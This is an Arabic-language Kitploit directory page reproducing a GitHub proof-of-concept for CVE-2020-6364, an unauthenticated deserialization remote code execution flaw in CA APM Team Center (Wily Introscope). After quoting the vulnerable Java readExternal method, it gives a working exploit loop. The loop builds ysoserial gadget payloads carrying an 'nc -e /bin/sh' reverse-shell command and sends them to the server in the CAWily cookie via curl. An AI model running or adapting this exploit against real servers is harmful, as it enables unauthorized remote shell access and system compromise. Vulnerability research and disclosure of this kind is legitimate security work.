Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2020-6364 — تنفيذ التعليمات البرمجية عن بُعد في CA APM Team Center (Wily Introscope) | Kitploit
أدوات/GitHubGitHub/gquere/cve-2020-6364
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراق
GitHubgquere/cve-2020-6364

CVE-2020-6364

تنفيذ التعليمات البرمجية عن بُعد في CA APM Team Center (Wily Introscope)

عرض المستودع
225منذ 4 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2020-6364

تنفيذ تعليمات برمجية عن بُعد في CA APM Team Center (Wily Introscope).

النشرة الأصلية

تؤدي ثغرة إلغاء تسلسل (Deserialization) في CA APM Team Center إلى تنفيذ تعليمات برمجية عن بُعد غير مصادق عليه على الخادم.

عند المصادقة على الخادم، يتم إرجاع ملف تعريف ارتباط (Cookie) يبدأ بالسلسلة الشهيرة rO0 مما يشير إلى كائن مسلسل ومشفر بـ base64:

على الرغم من أنني لم أتتبع المشكلة بشكل ثابت بالكامل، فمن المحتمل أن يكون هذا هو الكود الضعيف:

public class HttpRequestHeaderInfo implements Externalizable {
  public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {

    in.readInt();
    int numMapEntries = in.readInt();
    this.fRequestParameterMap = (numMapEntries == 0) ? Collections.EMPTY_MAP : new HashMap(numMapEntries);

    for (int i = 0; i < numMapEntries; i++) {
      this.fRequestParameterMap.put(in.readUTF(), in.readObject());
    }

    int numCookies = in.readInt();
    this.fCookies = (numCookies == 0) ? kNoCookies : new Cookie[numCookies];

    for (int j = 0; j < this.fCookies.length; j++) {
      this.fCookies[j] = new Cookie((String)in.readObject(), (String)in.readObject());
    }
  }
}

لاحظ أنه يتم إلغاء تسلسل خريطة المعلمات وملف تعريف الارتباط باستخدام readObject() من إدخال المستخدم.

يمكن استغلال ذلك بسهولة من خلال تحديد أداة (gadget) مناسبة في حلقة تكرارية:

for gadget in AspectJWeaver BeanShell1 C3P0 Click1 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1
do
    java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar $gadget "nc -e /bin/sh ..." | base64 -w0 > cookie
    payload=$(cat cookie)
    curl -s -k 'https://remoteserver/' -X POST -H "Cookie: CAWily=$payload"
done

الحمولة الوحيدة التي أنتجت تنفيذ تعليمات برمجية عن بُعد بالنسبة لي كانت CommonsBeanutils. ملف JAR المضمن هو org.apache.commons_beanutils_1.9.2.1.jar ويحتوي بالفعل على أداة ضعيفة وفقًا لمستودع maven.

شكر

شكر واجب لشخص مميز جعلني أتحقق مرتين من الترويسة.

تنزيل الأداة